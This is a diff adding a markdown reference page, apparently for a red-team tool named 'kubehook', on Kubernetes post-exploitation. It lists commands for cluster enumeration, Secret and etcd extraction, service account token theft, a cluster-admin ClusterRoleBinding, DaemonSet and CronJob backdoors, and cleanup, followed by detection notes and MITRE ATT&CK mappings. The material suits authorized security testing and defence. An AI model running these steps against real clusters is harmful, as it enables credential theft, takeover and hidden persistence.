+ Kubernetes post-exploitation targets cluster resources, RBAC misconfigurations, container security boundaries, and etcd for secret extraction. After compromising a pod or obtaining kubeconfig, these tools provide cluster enumeration, privilege escalation, container escape, and persistent access.
16
+
17
+ ## Prerequisites
18
+
19
+ 1. **Kubernetes access** — kubeconfig file, service account token, or in-cluster config
20
+ 2. **Python packages** — `pip3 install kubernetes etcd3`
21
+ 3. **Current context** — verify access via `kubectl auth can-i --list`
22
+
23
+ ```bash
24
+ # Quick prerequisite check
25
+ kubectl cluster-info # verify cluster access
26
+ kubectl auth can-i --list # check current permissions
27
+ python3 -c "from kubernetes import client; print('OK')"
28
+ ```
29
+
30
+ ## Kill Chain Phases
31
+
32
+ ### Phase 1 — Cluster Enumeration
33
+
34
+ | Action | Command | Purpose |
35
+ |--------|---------|---------|
36
+ | Full enumeration | `kubehook k8s_enum` | Map namespaces, pods, services, RBAC, ingress |
37
+ | Secret metadata | `kubehook k8s_enum --namespace kube-system` | Focus on high-value system namespace |
38
+
39
+ ### Phase 2 — Secret Extraction
40
+
41
+ | Action | Command | Purpose |
42
+ |--------|---------|---------|
43
+ | K8s Secrets | `kubehook k8s_secrets` | Extract and decode all Kubernetes Secrets |
44
+ | etcd dump | `kubehook etcd_dump --endpoint ENDPOINT` | Direct etcd access for all secrets |
45
+
46
+ ### Phase 3 — Privilege Escalation
47
+
48
+ | Action | Command | Purpose |
49
+ |--------|---------|---------|
50
+ | Container escape | `kubehook k8s_escape` | Detect escape vectors (privileged, hostPID, docker socket) |
51
+ | RBAC abuse | `kubehook k8s_privesc --method bind_admin` | Create ClusterRoleBinding for cluster-admin |
52
+ | SA token theft | `kubehook k8s_privesc --method sa_token` | Steal service account tokens from pods |
53
+
54
+ ### Phase 4 — Persistence
55
+
56
+ | Action | Command | Purpose |
57
+ |--------|---------|---------|
58
+ | DaemonSet backdoor | `kubehook k8s_backdoor --type daemonset --image IMAGE` | Deploy on every node |
59
+ | CronJob backdoor | `kubehook k8s_backdoor --type cronjob --image IMAGE` | Periodic callback |
60
+
61
+ ### Phase 5 — Cleanup (MANDATORY)
62
+
63
+ ```
64
+ kubehook cleanup_k8s
65
+ ```
66
+
67
+ ## Detection Considerations
68
+
69
+ - **Kubernetes Audit Logs** — API server audit logging captures all requests
70
+ - **Falco** — Runtime security monitoring for container escape, privilege escalation
71
+ - **OPA/Gatekeeper** — Policy enforcement for pod security, RBAC constraints
72
+ - **Network Policies** — Restricts pod-to-pod and pod-to-external communication
73
+ - **RBAC Analyzer** — Tools like rbac-police, kubectl-who-can detect dangerous bindings
74
+
75
+ ## Program Reference
76
+
77
+ | Program | Technique | MITRE ATT&CK |
78
+ |---------|-----------|---------------|
79
+ | k8s_enum | Cluster resource enumeration | T1613 — Container and Resource Discovery |
80
+ | k8s_secrets | Kubernetes Secret extraction | T1552.007 — Container API |
81
+ | k8s_escape | Container escape exploitation | T1611 — Escape to Host |
82
+ | k8s_privesc | RBAC privilege escalation | T1078 — Valid Accounts |
83
+ | etcd_dump | Direct etcd data extraction | T1552.007 — Container API |
84
+ | k8s_backdoor | DaemonSet/CronJob persistence | T1053.007 — Container Orchestration Job |
85
+ | cleanup_k8s | Resource removal by label selector | T1070 — Indicator Removal |